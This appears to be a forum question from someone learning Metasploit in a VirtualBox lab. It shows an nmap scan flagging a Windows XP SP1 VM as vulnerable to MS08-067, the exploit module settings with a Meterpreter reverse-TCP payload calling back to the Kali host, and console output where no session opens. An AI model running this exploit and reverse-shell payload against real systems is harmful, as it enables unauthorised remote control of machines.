MS08_067 with Metasploit

I'm learning how to use Metasploit. I'm using VirtualBox to run a VM with Kali Linux (192.168.56.101) and another with Windows XP SP1 (192.168.56.103). The two VMs can ping each other and Windows Firewall is disabled. I'm running Metasploit on Kali Linux and trying to attack Windows XP SP1.

I fire up msfconsole and start with a port scan:

nmap -sT -A --script=smb-check-vulns -Pn --script-args=unsafe=1 192.168.56.103

which tells me

Host script results:
| smb-check-vulns: 
|   MS08-067: VULNERABLE

I set the parameters this way:

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.103   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.56.101   yes       The listen address
   LPORT     8080             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Windows XP SP0/SP1 Universal

Then:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.56.101:8080 
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

No active sessions.

What am I doing wrong?